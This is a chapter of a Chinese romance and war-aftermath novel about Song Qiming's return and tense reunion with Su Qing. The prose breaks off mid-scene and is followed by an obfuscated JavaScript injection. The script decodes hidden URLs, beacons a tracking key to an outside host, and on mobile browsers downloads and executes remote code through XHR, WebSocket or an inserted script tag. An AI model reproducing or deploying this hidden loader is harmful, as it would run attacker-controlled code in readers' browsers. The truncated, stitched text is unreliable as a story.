宋启明醒来时，阳光已经从窗帘缝隙里挤进来，在床尾划出一道斜长的光带。
他盯着那道光线看了很久，意识缓慢地从深渊里往上浮。梦里没有坎大哈，没有枪声，只有一个模糊的背影，马尾辫在阳光下轻轻晃动。
他伸手想抓住，然后醒了。
床头柜上的身份牌还在，马库斯的名字在光里泛着冷硬的金属光泽。他看了一眼，然后起身。
身体像灌了铅。法国的医生说失血过多会造成系统性的虚弱，需要长期恢复。他没有当回事。现在他知道了，虚弱不是走不动路、使不上力，是每一个最简单的动作都要调动全身的意志才能完成。
穿衣服。洗漱。把帆布袋里杂乱的东西整理出来。
然后他打开那部从法国带回来的备用手机，拨通了林国伟的号码。
“回来了？”林国伟的声音没有太多情绪，但宋启明能听出那一瞬间的停顿。
“嗯。”
“身体怎么样？”
“能走。”
电话那头沉默了几秒。然后林国伟说：“手机卡在你抽屉里，上学期办的停机保号，复机就能用。密码是你自己的生日。”
顿了顿，他补充道：“别拖。”
宋启明没有说话。
挂断电话后，他在床边坐了很久。阳光已经从床尾挪到了地板上，慢慢爬向墙根。
他拉开书桌抽屉。那张SIM卡安静地躺在角落里，和三个月前他离开时放的位置分毫不差。
他把它捏在手心里。很小，很轻。
然后他出门，下楼，走过梧桐光秃的林荫道，走过假期里空荡荡的校园，走到营业厅，办复机，买了一部新手机。
整个过程，他的手指始终保持着那种扣扳机前的、过分稳定的沉默。
营业厅的小姑娘笑着说：“先生，手机已经激活了，您试试。”
宋启明点点头。他拿着那部新手机，走出玻璃门，站在一月的冷风里。
屏幕亮着。信号格满的。
通讯录是空的。没有备份，没有导入，他从不习惯存这些。但他不需要通讯录。
他按下那串三个月没拨过、却从没忘记的号码。
嘟——
嘟——
每一声都很长，像子弹飞行时被无限放慢的轨迹。
嘟——
嘟——
他几乎以为不会有人接了。也许她在忙，也许——
也许她已经换了号码。
嘟——嘟——嘟——
然后，在即将自动挂断的最后一秒，电话接通了。
那头没有声音。连呼吸声都听不见。
宋启明握着手机，指节发白。
“我回来了。”他说。
---
滨海市的冬天很少下雪，风却刺骨。
苏晴站在校门口的时候，宋启明几乎没认出她。
不是样貌变了，是她整个人散发出的那种气息——不是愤怒，不是委屈，是一层薄薄的、坚硬的壳。
她穿着一件浅米色的长款羽绒服，头发没扎，散落在肩头。她应该是一路跑过来的，呼吸还很急促，脸颊因为冷和激动泛着不正常的红。
但她的眼睛是冷的。
或者说，她试图让它冷。
宋启明站在原地。他设想过很多次重逢的场景，设想过她哭、她骂、她转身就走。但他没想过她会这样——站在三米外，抿着嘴唇，眼眶已经红了，却硬撑着不让眼泪掉下来。
“你——”她开口，声音是哑的，像有什么东西堵在喉咙里，“你什么意思。”
不是问句，是指控。
“三个多月。”她往前走了半步，那层薄壳裂开一道细缝，“你知道我给你打了多少个电话吗？你知道我给你发了多少条消息吗？”
宋启明没有说话。
“你说非洲信号不好，你说你爸妈那边有事，你说你会再联系我——”她的声音开始发抖，“然后呢？然后你人就没了！”
最后一个字几乎是喊出来的。校门口的保安探头看了一眼，又缩回去了。
“我每天、每天看手机。”苏晴的眼泪终于掉下来，但她没有擦，任由那滴泪从脸颊滑到下颌，挂在那里，不肯坠落，“你知不知道……”
她说不下去了。
宋启明看着她。看着她散落的发丝在风里轻轻飘动，看着她鼻尖冻得通红，看着她睫毛上挂着的、不知是泪还是冬天凝结的水汽。
他想走上前，想握住她的手，想把她拥进怀里，想对她说对不起。
但他的脚步钉在原地。
他抬起手——那个动作在半空中僵住了。
这只手。
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};